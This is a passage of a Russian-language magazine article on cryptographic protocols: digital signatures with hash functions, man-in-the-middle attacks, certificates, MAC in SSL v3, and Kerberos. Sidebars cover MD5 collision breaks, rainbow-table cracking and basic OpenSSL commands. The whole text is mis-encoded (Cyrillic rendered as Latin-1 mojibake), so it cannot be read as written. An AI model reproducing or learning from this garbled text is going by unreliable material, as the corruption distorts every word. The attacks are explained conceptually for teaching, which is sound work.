÷àëüíî, òî Á äåéñòâèòåëüíî ÿâëÿåòñÿ
Áàíêîì.

Êàê æå ïîâåäåò ñåáÿ Âàñèëèé? Ñîîá-
ùåíèå ñëó÷àéíî � Âàñÿ âîñïîëüçóåò-
ñÿ èìåííî ýòèì è ðåàëèçóåò ñâîþ àòà-

êó òàê, êàê ïîêàçàíî íà ðèñóíêå "Àòà-
êà íà ïðîòîêîë 1".

Íà âòîðîì øàãå îäíîãî èç âàðèàí-
òîâ ñâîåãî ïîâåäåíèÿ çëîáíûé Âàñè-
ëèé ãîòîâèò íåâûãîäíûé äëÿ áàíêà
äîãîâîð è èñïîëüçóåò ôóíêöèþ ñæà-
òèÿ äëÿ ïðåîáðàçîâàíèÿ òåêñòà â äâî-
è÷íûé øóì, êîòîðûé ìîæåò áûòü ïðè-
íÿò Áàíêîì çà ñëó÷àéíîå ñîîáùåíèå.
Åñëè âñå ïðîøëî èìåííî òàê, òî Áàíê
ïîïàë :). Âñåãäà ìîæíî äîêàçàòü, ÷òî
äîãîâîð áûë çàøèôðîâàí íà óíè-
êàëüíîì ñåêðåòíîì êëþ÷å Áàíêà.

Ïîëîæåíèå ìîæåò áûòü èñïðàâëåíî
çà ñ÷åò èñïîëüçîâàíèÿ õýø-ôóíêöèè.
Íàïîìíþ (èëè ñîîáùó), ÷òî õýø-ôóíê-
öèåé íàçûâàþò ôóíêöèþ, îáëàäàþ-
ùóþ ñëåäóþùèìè ñâîéñòâàìè:
1. Âõîäíûì ïàðàìåòðîì ÿâëÿåòñÿ

òåêñò ïðîèçâîëüíîãî ðàçìåðà.
2. Âûõîäíîå çíà÷åíèå èìååò ñòðîãî

ôèêñèðîâàííûé ðàçìåð.
3. Çíà÷åíèå ôóíêöèè îò ëþáîãî àð-

ãóìåíòà äîëæíî âû÷èñëÿòüñÿ áûñòðî.
4. Çàäà÷à íàõîæäåíèÿ àðãóìåíòà

ôóíêöèè ïî åå çíà÷åíèþ äîëæíà
áûòü âû÷èñëèòåëüíî òðóäîåìêîé �
ôóíêöèÿ îäíîíàïðàâëåííàÿ. 
5. Çàäà÷à íàõîæäåíèÿ òàêîé ïàðû

àðãóìåíòîâ, ïðè êîòîðîé çíà÷åíèÿ
ôóíêöèé îò íèõ îäèíàêîâû (íàõîæäå-
íèå êîëëèçèè), äîëæíà áûòü âû÷èñëè-
òåëüíî òðóäîåìêîé.

Ïðèìåíÿÿ õýø-ôóíêöèþ, ìîæíî ñîñ-
òàâèòü ïðîòîêîë ¹2 (ïîñìîòðèì íà ñî-
îòâåòñòâóþùèé ðèñóíîê).

Â ýòîì ñëó÷àå Áàíê ñíà÷àëà ïîñûëà-
åò ñâîå ñîîáùåíèå îòêðûòûì òåêñòîì,
ïîñëå ýòîãî - çàøèôðîâàííîå íà ñâî-
åì ñåêðåòíîì êëþ÷å çíà÷åíèå õýø-
ôóíêöèè îò ñâîåãî ñîîáùåíèÿ, ÷òî, ïî
áîëüøîìó ñ÷åòó, åñòü íå ÷òî èíîå, êàê
ýëåêòðîííî-öèôðîâàÿ ïîäïèñü ýòîãî
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Ïîìíè, ÷òî
ðàçðàáîòêà
êðèïòîãðàôè-
÷åñêèõ ñðåäñòâ
ðåãëàìåíòèðó-
åòñÿ çàêîíàìè
ÐÔ.

Ïðåæäå ÷åì
ïåðåõîäèòü ê
ïðàêòèêå, ñî-
âåòóþ ðàçîá-
ðàòüñÿ ñ 
òåîðèåé ;).

Ïðîòîêîë 1



ñîîáùåíèÿ. Àíäðåé ðàñøèôðîâûâàåò
ïîëó÷åííîå çíà÷åíèå, õýøèðóåò èñ-
õîäíîå ñîîáùåíèå è ñðàâíèâàåò ðå-
çóëüòàòû � ïðîâåðÿåò ïîäïèñü. Ñîâïà-
äåíèå çíà÷åíèé õýø-ôóíêöèé ÿâëÿåò-
ñÿ äîêàçàòåëüñòâîì òîãî, ÷òî Áàíê ÿâ-
ëÿåòñÿ ïîäëèííûì èñòî÷íèêîì èí-
ôîðìàöèè.

Òåïåðü áóäåì ñîñòàâëÿòü ïðîòîêîë
ïåðåäà÷è îòêðûòîãî êëþ÷à Áàíêà Àíä-
ðåþ. Ïîñìîòðèì íà ïåðâûé âàðèàíò
(ïðîòîêîë 3).

Â íåì Âàñÿ ìîæåò âûäàòü ñåáÿ çà
Áàíê. Äëÿ ýòîãî åìó âñåãî ëèøü íóæ-
íî èìåòü ñâîþ ïàðó êëþ÷åé. Îí áóäåò
ïåðåõâàòûâàòü âñå îáðàùåíèÿ Àíä-
ðåÿ Áàíêó è îòâå÷àòü íà íèõ, ïîäñòàâ-
ëÿÿ ñâîé îòêðûòûé è ñåêðåòíûé êëþ-
÷è âìåñòî êëþ÷åé Áàíêà. Àíäðåé æå
íå èìååò âîçìîæíîñòè îáíàðóæèòü
ïîäëîã.

Ýòà ïðîáëåìà, èçâåñòíàÿ êàê ïðîá-
ëåìà ðàñïðåäåëåíèÿ êëþ÷åé, ðåøàåò-
ñÿ â SSL ïóòåì ââåäåíèÿ ñåðòèôèêà-
òîâ, êàê è âî ìíîãèõ ïðîòîêîëàõ (äðó-
ãîé ñïîñîá ðåøåíèÿ ýòîé ïðîáëåìû �
èñïîëüçîâàíèå äîâåðèòåëåé � ðåàëè-
çîâàí, ê ïðèìåðó, â PGP). Ñåðòèôèêàò
âûäàåòñÿ öåíòðîì ñåðòèôèêàöèè
(Certification Authority, CA) è ñîäåðæèò
ñëåäóþùèå îáÿçàòåëüíûå ïîëÿ:

Ñåðèéíûé íîìåð ñåðòèôèêàòà;
Èìÿ öåíòðà ñåðòèôèêàöèè;
Èìÿ îáúåêòà ñåðòèôèêàöèè;
Îòêðûòûé êëþ÷ îáúåêòà ñåðòèôè-

êàöèè;
Ñðîê äåéñòâèÿ ñåðòèôèêàòà.

Çäåñü ðå÷ü èäåò îá îáúåêòå ñåðòè-
ôèêàöèè. Ýòî ìîæåò áûòü âñå ÷òî
óãîäíî: ÷åëîâåê, ïðîãðàììà, ñàéò, îáî-
ðóäîâàíèå è ò.ä. Ñåðòèôèêàò ïîäïèñû-
âàåòñÿ ñåêðåòíûì êëþ÷îì CA è âûê-
ëàäûâàåòñÿ â îòêðûòûé äîñòóï.

Ïîñìîòðèì íà ðèñóíîê "Ïðîòîêîë 4:
ñåðòèôèêàòû" è ðàçáåðåìñÿ.

Äëÿ íà÷àëà îáðàùàþ âñåîáùåå
âíèìàíèå íà òîò ôàêò, ÷òî è Àíä-
ðåé, è Áàíê äîëæíû ïîëíîñòüþ äî-
âåðÿòü CA, à îí äîëæåí îïðàâäû-
âàòü ýòî äîâåðèå :). Äðóãèìè ñëîâà-
ìè, âñå äîëæíû áûòü óâåðåíû, ÷òî
ñåðòèôèêàò Áàíêà ïðèíàäëåæèò
èìåííî Áàíêó.

Ïîëó÷èâ ñåðòèôèêàò, Àíäðåé ïðî-
âåðÿåò åãî ïîäïèñü, îáúåêò ñåðòèôè-
êàöèè (èì äîëæåí áûòü Áàíê), ñðîê
äåéñòâèÿ è óáåæäàåòñÿ â ïîäëèííîñ-
òè îòêðûòîãî êëþ÷à Áàíêà. Íåîáõîäè-
ìûé äëÿ ýòîãî îòêðûòûé êëþ÷ CA
âûêëàäûâàåòñÿ â îòêðûòûé äîñòóï.
Åñëè íàø áðàâûé Âàñÿ ïîøëåò Àíä-
ðåþ ñåðòèôèêàò Áàíêà îò ñâîåãî
èìåíè, òî îí âñå ðàâíî âûäàñò ñåáÿ ñ
ãîëîâîé: íå çíàÿ ñåêðåòíîãî êëþ÷à
Áàíêà, îí íå ñìîæåò îòïðàâèòü ïîñ-
ëåäíåå ñîîáùåíèå.

Óáåäèâøèñü â ïîäëèííîñòè èñòî÷-
íèêà èíôîðìàöèè, Àíäðåé ãåíåðèðóåò
ñèììåòðè÷íûé ñåàíñîâûé êëþ÷, øèô-
ðóåò åãî îòêðûòûì êëþ÷îì Áàíêà è
îòïðàâëÿåò. Áàíê äåøèôðóåò ñîîáùå-
íèå ñâîèì ñåêðåòíûì êëþ÷îì è ïîëó-
÷àåò ñåàíñîâûé êëþ÷. Òàêèì îáðàçîì,
ìåòîä äâóõêëþ÷åâîé êðèïòîãðàôèè
ïðèìåíÿåòñÿ äëÿ ïåðåñûëêè ñåàíñî-
âîãî êëþ÷à ñ ïîñëåäóþùèì èñïîëüçî-
âàíèåì åãî â ñõåìå ñèììåòðè÷íîãî
øèôðîâàíèÿ � ãèáðèäíàÿ ìîäåëü.

Ðàññìîòðèì ýòîò ïðîòîêîë íà ñõåìå
"Ïðîòîêîë 5".

Èòàê, â ýòîì ñëó÷àå Âàñèëèé íå çíà-
åò ñåàíñîâîãî êëþ÷à, îäíàêî îí ïî-
ïðåæíåìó ìîæåò èñêàæàòü ïåðåäàâàå-
ìûå ñîîáùåíèÿ (ðèñóíîê "Àòàêà íà
ïðîòîêîë 5").

Ïîñëå îáìåíà ñåàíñîâûì êëþ÷îì
Àíäðåé è Áàíê àäåêâàòíî âîñïðèíèìà-
þò ñîîáùåíèÿ äðóã äðóãà. Åäâà ëè Âà-
ñèëèé ñìîæåò ïîëó÷èòü â ðåçóëüòàòå
èñêàæåíèÿ ÷òî-òî îñìûñëåííîå, íî ïî-
äîðâàòü äîâåðèå Àíäðåÿ ê Áàíêó îí
âïîëíå ñìîæåò.

Ïðîáëåìà ðåøàåòñÿ ââåäåíèåì çà-
âèñèìîñòè ïåðåäàâàåìûõ ñîîáùåíèé
îò îáùåé äëÿ Àíäðåÿ è Áàíêà ñåêðåò-
íîé èíôîðìàöèè, äëÿ ÷åãî ñëóæèò êîä
àóòåíòèôèêàöèè ñîîáùåíèÿ (Message
Authentication Code, MAC), âû÷èñëÿå-
ìûé êàê çíà÷åíèå õýø-ôóíêöèè îò
ñòûêîâêè ïåðåäàâàåìîãî ñîîáùåíèÿ è
ñåêðåòíîãî êëþ÷à:

MAC:=Õýøèðîâàòü(ñîîáùåíèå+ñåàí-
ñîâûé_êëþ÷)

Ïðîòîêîë, êîòîðûé ðåàëèçóåò âñå
âûøåñêàçàííîå, èçâåñòåí ïîä íàçâà-
íèåì SSL v3 (òî÷íåå, åãî âàðèàíò äëÿ
ñëó÷àÿ, êîãäà îäèí èç ó÷àñòíèêîâ íå
èìååò ñåðòèôèêàòà), îí äîñòàòî÷íî
ïðîñò è ïîêàçàí íà ðèñóíêå.

Òåïåðü Àíäðåé è Áàíê èìåþò âîç-
ìîæíîñòü îáíàðóæèâàòü äåéñòâèÿ
Âàñèëèÿ, êîòîðûé, íå çíàÿ ñåàíñîâî-
ãî êëþ÷à, íå ìîæåò âû÷èñëèòü ïðà-
âèëüíîå çíà÷åíèå õýø-ôóíêöèè. Êðè-
òåðèåì ÿâëÿåòñÿ ðåçóëüòàò ñðàâíå-
íèÿ äåøèôðîâàííîãî MAC'à è MAC'à,
âû÷èñëåííîãî îò ïðèíÿòîãî äåøèô-
ðîâàííîãî ñîîáùåíèÿ è ñåàíñîâîãî
êëþ÷à.

Îïèñàííûé çäåñü ïðîòîêîë ñëóæèò
äëÿ çàùèòû Àíäðåÿ îò Áàíêà è äëÿ
îáîðîíû îáåèõ ñòîðîí îò Âàñèëèÿ.
Ïîíÿòíî, ÷òî íåò íèêàêîé ãàðàíòèè,
÷òî Àíäðåé îêàæåòñÿ ëó÷øå Ïóïêèíà
:). Äëÿ çàùèòû Áàíêà âñå åãî êëèåíòû
äîëæíû èìåòü ñâîè ñåðòèôèêàòû. Ñî-
îòâåòñòâåííî, ìåíÿåòñÿ è ïðîòîêîë: â
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Åñëè áóäåøü
èñïîëüçîâàòü
÷óæèå ðåàëè-
çàöèè, òî íå
çàáûâàé îá-
íîâëÿòü èõ -
îøèáêè ðåàëè-
çàöèè âûÿâëÿ-
þòñÿ íå òàê óæ
ðåäêî.

Áîëåå ïîäðîá-
íî îá OpenSSL
ñìîòðè â
ñòàòüå Òîõè
"101 ïðèåì ðà-
áîòû ñ
OpenSSL" â Õ
#02/2005.
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SSL v3

Ëîãîòèï Kerberos



íåãî äîáàâëÿåòñÿ ïåðåäà÷à ñåðòèôè-
êàòà Àíäðåÿ è åãî ïðîâåðêà. ß íå ãî-
âîðèë îá ýòîì ñ ñàìîãî íà÷àëà ëèøü
ðàäè óïðîùåíèÿ ðàçáîðà ïðîòîêîëà.

ÏÐÎÒÎÊÎË KERBEROS
Ðàññìîòðèì åùå îäèí êðèïòîïðî-

òîêîë - Kerberos. Îí ñëóæèò äëÿ ïðî-
âåðêè ïîäëèííîñòè â TCP/IP-ñåòÿõ ñ
äîâåðåííîé òðåòüåé ñòîðîíîé. Ñëóæ-

áà Kerberos, ðàáîòàþùàÿ â Ñåòè,
äåéñòâóåò êàê äîâåðåííûé ïîñðåäíèê
è îáåñïå÷èâàåò ïðîâåðêó ïîäëèííîñ-
òè ñåòåâûõ îáúåêòîâ. Ïðîòîêîë áûë
ðàçðàáîòàí â Ìàññà÷óñåòñêîì òåõíî-
ëîãè÷åñêîì óíèâåðñèòåòå (MIT,
web.mit.edu/kerberos/www), è â íàñòî-
ÿùåå âðåìÿ åãî ïÿòàÿ âåðñèÿ ÿâëÿåò-
ñÿ ñòàíäàðòîì (RFC-1510). Kerberos ïî-
ëó÷èë øèðîêîå ðàñïðîñòðàíåíèå: îí

âõîäèò âî ìíîãèå äèñòðèáóòèâû Linux,
à Microsoft ñäåëàëà ýòîò ïðîòîêîë (ñ
íåçíà÷èòåëüíûìè èçìåíåíèÿìè, îïè-
ñàííûìè â RFC-3244) îñíîâíûì ïðî-
òîêîëîì àóòåíòèôèêàöèè íà÷èíàÿ ñ
Windows 2000. Îòëè÷èòåëüíîé îñî-
áåííîñòüþ äàííîãî ïðîòîêîëà ÿâëÿåò-
ñÿ òî, ÷òî â íåì íå èñïîëüçóþòñÿ
äâóõêëþ÷åâûå àëãîðèòìû. Â ýòîì ðàç-
äåëå ïîä ñî÷åòàíèåì "ñåêðåòíûé
êëþ÷" ÿ ïîíèìàþ ïîñòîÿííûé ñèììåò-
ðè÷íûé êëþ÷, ÷òîáû â ñòàòüå ìîæíî
áûëî îòëè÷èòü åãî îò ñåàíñîâîãî ñèì-
ìåòðè÷íîãî êëþ÷à.

Îáúåêòàìè ñåòåâîãî âçàèìîäåé-
ñòâèÿ â ìîäåëè Kerberos ÿâëÿþòñÿ
êëèåíòû è ñåðâåðû, ïðè÷åì ïåðâûìè
ìîãóò áûòü êàê ïîëüçîâàòåëè, òàê è
íåçàâèñèìûå ïðîãðàììû. Â áàçå äàí-
íûõ öåíòðàëüíîé ñëóæáû ñèñòåìû, êî-
òîðóþ ÷àùå âñåãî è íàçûâàþò Öåðáå-
ðîì, õðàíÿòñÿ äàííûå âñåõ êëèåíòîâ è
èõ ñåêðåòíûå êëþ÷è. Äëÿ ïîëüçîâàòå-
ëåé êëþ÷ ÿâëÿåòñÿ õýø-ôóíêöèåé îò
ââåäåííîãî ïàðîëÿ. Òàêæå Öåðáåð
õðàíèò ñåêðåòíûå êëþ÷è âñåõ Ñëóæá
âûäåëåíèÿ ìàíäàòîâ (Ticket-Granting
Service, TGS). TGS, â ñâîþ î÷åðåäü,
õðàíèò ñåêðåòíûå êëþ÷è îáñëóæèâàå-
ìûõ åþ ñåðâåðîâ â Ñåòè.

Äëÿ òîãî ÷òîáû îáúÿñíèòü ñîîáùå-
íèÿ ýòîãî ïðîòîêîëà, íóæíî ââåñòè
ïîíÿòèÿ ìàíäàòà è óäîñòîâåðåíèÿ.
Ìàíäàò � ýòî îñîáîå ñîîáùåíèå, êîòî-
ðîå óäîñòîâåðÿåò ïðàâî êëèåíòà îá-
ðàòèòüñÿ ê ñåðâåðó, èñïîëüçóåòñÿ äëÿ
áåçîïàñíîé ïåðåäà÷è èäåíòèôèêàòî-
ðà êëèåíòà ñåðâåðó. Ìàíäàò äëÿ îáú-
åêòîâ a è b îïðåäåëÿåòñÿ òàê (çíàê "+"
îçíà÷àåò ñòûêîâêó):

Ì(a,b):=b+Øèôðî-
âàòü(a+IP_a+dT+Ñ(a,b), Ê_b)

Îáîçíà÷åíèÿ a è b � èìåíà îáúåê-
òîâ, IP_a � IP-àäðåñ îáúåêòà a, dT �
ñðîê äåéñòâèÿ ìàíäàòà, Ñ(a,b) � ñåàí-
ñîâûé êëþ÷ äëÿ a è b, Ê_b � ñåêðåò-
íûé êëþ÷ b. Âèäíî, ÷òî îáúåêò a íå
ìîæåò ðàñøèôðîâàòü ìàíäàò (îí íå
çíàåò ñåêðåòíîãî êëþ÷à îáúåêòà b),
íî ñïîñîáåí ïåðåäàòü åãî â íåèçìåí-
íîì âèäå. Ìàíäàò ìîæåò áûòü èñïîëü-
çîâàí ìíîãî ðàç, ïîêà íå èñòå÷åò
ñðîê åãî äåéñòâèÿ. Óäîñòîâåðåíèå �
ýòî ïðèëîæåíèå ê ìàíäàòó. Îíî îïðå-
äåëÿåòñÿ òàê:

Ó(a):=a+IP_a+t
ãäå t � âðåìåííàÿ ìåòêà. Â îòëè÷èå

îò ìàíäàòà, óäîñòîâåðåíèå èñïîëüçó-
åòñÿ òîëüêî îäèí ðàç, èìåííî äëÿ ýòî-
ãî è ïðèìåíÿåòñÿ ìåòêà âðåìåíè.

Òåïåðü ïåðåéäåì ê ñàìîìó ïðîòîêî-
ëó. Íà ïåðâîì øàãå êëèåíò îòñûëàåò
Öåðáåðó îòêðûòîå ñîîáùåíèå, ñîäåð-
æàùåå èìÿ êëèåíòà è èìÿ íóæíîé
TGS.

Êëèåíò �> Öåðáåð: èìÿ_êëèåí-
òà+èìÿ_TGS

Öåðáåð èùåò â ñâîåé áàçå äàííûå î
êëèåíòå è ñðàâíèâàåò IP-àäðåñ îòïðà-
âèòåëÿ ñ àäðåñîì, õðàíÿùèìñÿ â áàçå.
Åñëè îíè ñîâïàäàþò, ñëóæáà ãåíåðè-
ðóåò ñåàíñîâûé êëþ÷, êîòîðûé áóäåò
èñïîëüçîâàòüñÿ ïðè îáìåíå ìåæäó
êëèåíòîì è TGS, è øèôðóåò åãî ñåê-
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Òùàòåëüíî
ïðîâåðÿé ñâîè
ïðîòîêîëû.
Âîçìîæíî, ñòî-
èò ïîèñêàòü
èíôîðìàöèþ
ïî BAN-ëîãèêå.

Ïîäñïîðüåì
äëÿ èçó÷åíèÿ
ýòîé òåìû ñòà-
íåò õîðîøàÿ
êíèæêà. Òîëü-
êî âûáèðàé ñ
óìîì :).

Îäíîé èç ñàìûõ ïîïóëÿðíûõ õýø-ôóíêöèé ÿâëÿåòñÿ MD5. Îíà
âõîäèò âî ìíîãèå ñòàíäàðòû è ïðîòîêîëû (ïðî åå ðåàëèçàöèþ ÿ äàâ-
íûì-äàâíî ïèñàë â Êîäèíãå "Õàêåðà"). Ðàçóìååòñÿ, ëþáîé àëãîðèòì
ìîæåò áûòü âçëîìàí. Äëÿ àòàêè íà õýø-ôóíêöèè ÷àñòî èñïîëüçóåò-
ñÿ ïðèíöèï Time-Memory Trade-Off ("ðàçìåí" âðåìåíè íà ïàìÿòü):
âðåìÿ àòàêè ñîêðàùàåòñÿ áëàãîäàðÿ ïðåäïðîñ÷åòó ñïåöèàëüíîé
òàáëèöû. Îí çàíèìàåò î÷åíü áîëüøîå âðåìÿ, è ñàìà òàáëèöà ïîëó-
÷àåòñÿ äàëåêî íå ìàëåíüêàÿ, çàòî ñàìà àòàêà ïðîõîäèò çíà÷èòåëü-
íî áûñòðåå. Íå òàê äàâíî ïîÿâèëàñü ìîäèôèêàöèÿ ýòîãî ìåòîäà
(lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf), ïîçâîëÿþùàÿ óìåíü-
øèòü ðàçìåð òàáëèöû è âðåìÿ àòàêè. Âñêîðå â îòêðûòîì äîñòóïå ïî-
ÿâèëèñü èñõîäíûå êîäû ïðîãðàììû, ðåàëèçóþùèå ýòó èäåþ
(www.antsight.com/zsl/rainbowcrack), à íà èõ îñíîâå � ñåðâèñ
www.passcracking.com, âçëàìûâàþùèé 10 MD5-õýøåé â òå÷åíèå
÷àñà, ïðè÷åì ñêîðîñòü ðàñòåò ïðîïîðöèîíàëüíî êîëè÷åñòâó õýøåé,
ëîìàåìûõ çà ñåàíñ. Ýòî áûëî ïåðâîé ëàñòî÷êîé äëÿ âñåõ õýø-
ôóíêöèé. Âïðî÷åì, äëÿ ýòîãî ìåòîäà òðåáîâàëîñü î÷åíü äëèòåëü-
íîå âðåìÿ ãåíåðàöèè òàáëèöû.
Â àâãóñòå ïðîøëîãî ãîäà ïîÿâèëîñü ñîîáùåíèå êèòàéñêèõ êðèï-
òîãðàôîâ î âçëîìå ðÿäà õýø-ôóíêöèé, ñðåäè êîòîðûõ áûëà è
MD5. Íà íàõîæäåíèå êîëëèçèè íà èñïîëüçóåìîì èìè ñóïåðêîìïü-
þòåðå òðåáîâàëîñü ìåíüøå ñóòîê. Ïî êàêèì-òî ñîîáðàæåíèÿì ìå-
òîä âû÷èñëåíèé íå áûë îïóáëèêîâàí. Ìíîãèå ó÷åíûå ïî âñåìó ìè-
ðó ïûòàëèñü ðàñêðûòü "êèòàéñêèé ñåêðåò". Çíàëè áû êèòàéöû, ê
÷åìó ýòî ïðèâåäåò�
5 ìàðòà ýòîãî ãîäà MD5 ïîèìåëè òàê, ÷òî ìíå, íàïðèìåð, ñòàíîâèòñÿ
ñòðàøíî. Â ýòîò äåíü íà ñòðàíèöå
cryptography.hyperlink.cz/MD5_collisions.html ïîÿâèëñÿ äîêóìåíò,
ãëàñÿùèé, ÷òî ÷åøñêèé ó÷åíûé íàøåë ñïîñîá íàõîæäåíèÿ êîëëè-
çèè íà íîóòáóêå ñ P4-1600Mhz çà âîñåìü ÷àñîâ! ×óòü ïîçæå ïîÿâè-

ëîñü è ïîëíîå îïèñàíèå
ìåòîäà.
×àñòî ïðèõîäèòñÿ ñëû-
øàòü, ÷òî êðèïòîãðàôè-
÷åñêèå àëãîðèòìû òî÷-
íû, êàê øâåéöàðñêèå
÷àñû. Êàê âèäèøü, èíîã-
äà è îíè âûõîäÿò èç
ñòðîÿ. ×òî ñåé÷àñ áóäåò
äåëàòü ìèð êðèïòîãðà-
ôèè, ÿ íå çíàþ.

Î ØÂÅÉÖÀÐÑÊÈÕ  ×ÀÑÀÕ

passcracking.com: æåëàþùèõ ìíîãî :)

Îáúåêòàìè ñåòåâîãî âçàèìîäåéñòâèÿ 
â ìîäåëè Kerberos ÿâëÿþòñÿ êëèåíòû 

è ñåðâåðû



ðåòíûì êëþ÷îì êëèåíòà. Çàòåì Öåð-
áåð ãåíåðèðóåò äëÿ êëèåíòà ðàçðåøå-
íèå íà âûäåëåíèå ìàíäàòà (à îíî è
ÿâëÿåòñÿ ìàíäàòîì), äîêàçûâàþùåå
TGS ïîäëèííîñòü êëèåíòà. Îáà ñîîá-
ùåíèÿ îòñûëàþòñÿ:

Öåðáåð �> Êëèåíò: Øèôðî-
âàòü(Ñ(êëèåíò, TGS), Ê_êëèåíò)

Öåðáåð -> Êëèåíò: Ì(êëèåíò, TGS)
Íå çàáóäåì, ÷òî îñíîâíàÿ ÷àñòü ìàí-

äàòà çàøèôðîâàíà ñåêðåòíûì êëþ-
÷îì TGS. Êëèåíò ðàñøèôðîâûâàåò
ïåðâîå ñîîáùåíèå ñâîèì ñåêðåòíûì
êëþ÷îì è ïîëó÷àåò ñåàíñîâûé êëþ÷
äëÿ ñâÿçè ñ TGS.

Íà ñëåäóþùåì ýòàïå êëèåíòó òðå-
áóåòñÿ ïîëó÷èòü îòäåëüíûé ìàíäàò
äëÿ ñâÿçè ñ íóæíûì åìó ñåðâåðîì,
êîòîðûé îí ìîæåò ïîëó÷èòü ó TGS.
Îí ñîñòàâëÿåò óäîñòîâåðåíèå è
øèôðóåò åãî ïîëó÷åííûì íà ïðåäû-
äóùåì øàãå ñåàíñîâûì êëþ÷îì TGS.
Òàêæå îí ïåðåäàåò èìåþùèéñÿ ó íå-
ãî ìàíäàò íà âûäåëåíèå ìàíäàòà â
íåèçìåííîì âèäå:

Êëèåíò -> TGS: Øèôðîâàòü(Ó(êëè-
åíò), Ñ(êëèåíò, TGS))

Êëèåíò -> TGS: Ì(êëèåíò, TGS)
TGS, ïîëó÷èâ çàïðîñ, ðàñøèôðîâû-

âàåò ìàíäàò ñâîèì ñåêðåòíûì êëþ÷îì.
Çàòåì, èñïîëüçóÿ âêëþ÷åííûé â ìàí-
äàò ñåàíñîâûé êëþ÷, ðàñøèôðîâûâà-
åò óäîñòîâåðåíèå êëèåíòà. Íàêîíåö,
TGS ïðîâîäèò òðè ïðîâåðêè:
1. Ñðàâíèâàåò èìÿ â óäîñòîâåðåíèè

ñ èìåíåì â ìàíäàòå.
2. Ñðàâíèâàåò âðåìåííóþ ìåòêó â

óäîñòîâåðåíèè ñî ñðîêîì äåéñòâèÿ
ìàíäàòà è ñ òåêóùèì âðåìåíåì.
3. Ñðàâíèâàåò IP-àäðåñ â óäîñòîâå-

ðåíèè ñ IP-àäðåñîì â ìàíäàòå è IP-àä-
ðåñîì îòïðàâèòåëÿ ñîîáùåíèÿ.

Åñëè âñå ïðîâåðêè ïðîøëè, TGS ãå-
íåðèðóåò ìàíäàò äîñòóïà êëèåíòà ê
íóæíîìó åìó ñåðâåðó. Òàêæå ñëóæáà
ãåíåðèðóåò ñåàíñîâûé êëþ÷ äëÿ êëè-
åíòà è ñåðâåðà, çàøèôðîâûâàåò ñåàí-
ñîâûì êëþ÷îì êëèåíòà åùå è ñåáÿ,
îòïðàâëÿåò ñîîáùåíèå êëèåíòó.

TGS �> Êëèåíò: Øèôðîâàòü(Ñ(êëè-
åíò, ñåðâåð), Ñ(êëèåíò, TGS))

TGS �> Êëèåíò: Ì(êëèåíò, ñåðâåð)
Êëèåíò ðàñøèôðîâûâàåò ïåðâîå ñî-

îáùåíèå è èçâëåêàåò ñåàíñîâûé
êëþ÷. Çàòåì ãåíåðèðóåò ñåáå íîâîå
óäîñòîâåðåíèå è íîâûé ñåàíñîâûé
êëþ÷ ÍÑ, çàøèôðîâûâàåò ýòî âñå
èçâëå÷åííûì êëþ÷îì è, âìåñòå ñ ìàí-
äàòîì, îòïðàâëÿåò ñåðâåðó.

Êëèåíò -> Ñåðâåð: Øèôðî-
âàòü(Ó(êëèåíò)+ÍÑ, Ñ(êëèåíò, ñåðâåð))

Êëèåíò -> Ñåðâåð: Ì(êëèåíò, ñåðâåð)
Ñåðâåð âûïîëíÿåò òå æå òðè ïðîâåð-

êè, ÷òî è TGS. Åñëè âñå â ïîðÿäêå, òî
ñåðâåð èçâëåêàåò èç óäîñòîâåðåíèÿ
íîâûé ñåàíñîâûé êëþ÷ è îòïðàâëÿåò
çàøèôðîâàííîå èì òåêóùåå âðåìÿ
êëèåíòó.

Ñåðâåð -> Êëèåíò: Øèôðîâàòü(t, ÍÑ)

Êëèåíò, ïîëó÷èâ ñîîáùåíèå, ðàñ-
øèôðîâûâàåò åãî è ñðàâíèâàåò ìåò-
êó âðåìåíè ñ òåêóùèì. Ïðè ñîâïàäå-
íèè íà÷èíàåòñÿ îáìåí ñîîáùåíèÿìè,
çàøèôðîâàííûìè ÍÑ. Ïðè íîâîì ñå-
àíñå ñâÿçè ñ ýòèì ñåðâåðîì êëèåíò
èñïîëüçóåò èìåþùèéñÿ ó íåãî ìàí-
äàò. Äëÿ ñâÿçè ñ äðóãèì ñåðâåðîì
êëèåíò ñíîâà îáðàùàåòñÿ â TGS.

Êàê âèäèøü, àòàêóþùèé îáëîæåí
ñî âñåõ ñòîðîí :). Åñëè îí íå çíàåò
ñåêðåòíûé êëþ÷ êëèåíòà, îí áåñïî-
ìîùåí. Ïðàâäà, äâå àòàêè â ýòîì ñëó-
÷àå âîçìîæíû, íî èõ íåëüçÿ íàçâàòü
àòàêàìè íà Kerberos. Ïåðâàÿ îñíîâà-
íà íà òîì, ÷òî ÷àñû íà âñåõ îáúåêòàõ
ñåòè äîëæíû áûòü ñèíõðîíèçèðîâà-
íû ñ íåêîòîðîé òî÷íîñòü, çàëîæåí-
íîé â ïðîâåðêå ìåòîê âðåìåíè. Åñëè
âðåìÿ ñåðâåðà áóäåò óñòàíîâëåíî
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Ñàìîé ïîïóëÿðíîé ðåàëèçàöèåé ïðîòîêîëà SSL ÿâëÿåòñÿ òóëêèò
OpenSSL (www.openssl.org), âõîäÿùèé â áîëüøèíñòâî äèñòðèáóòè-
âîâ Linux, è èìåííî îí èñïîëüçóåòñÿ â mod_ssl äëÿ Apache. Íà ñàé-
òå äîñòóïíû èñõîäíûå êîäû, òàê ÷òî ïðè îïðåäåëåííîì íàâûêå
ìîæíî ñêîìïèëèðîâàòü èõ è ïîä Windows. Îí îáåñïå÷èâàåò ïîëíóþ
ïîääåðæêó SSL v2/v3 è TLS v1 (óëó÷øåííàÿ âåðñèÿ SSL v3, ÿâëÿþ-
ùàÿñÿ ñòàíäàðòîì, � RFC-2246). Ïîíÿòíî, ÷òî äëÿ ýòîãî â áèáëèîòå-
êå äîëæíû áûòü ðåàëèçîâàíû àëãîðèòìû øèôðîâàíèÿ, õýøèðîâà-
íèÿ è ò.ä. Íè÷òî íå ìåøàåò òåáå èñïîëüçîâàòü ýòè ôóíêöèè íàïðÿ-
ìóþ. Íàïðèìåð êîìàíäà:

openssl enc -cast -in secret.txt -out secret.enc

çàøèôðóåò ôàéë secret.txt øèôðîì CAST, êëþ÷ øèôðîâàíèÿ áóäåò
ñãåíåðèðîâàí íà îñíîâå ââåäåííîãî ñ êëàâèàòóðû ïàðîëÿ. Êîìàíäà 

openssl genrsa -aes256 -out private.rsa 4096

ñãåíåðèðóåò òåáå RSA-ïàðó ñ äëèíîé êëþ÷åé ïî 4096 áèò è çàøèô-
ðóåò åå àëãîðèòìîì AES ñ äëèíîé êëþ÷à è áëîêà â 256 áèò.
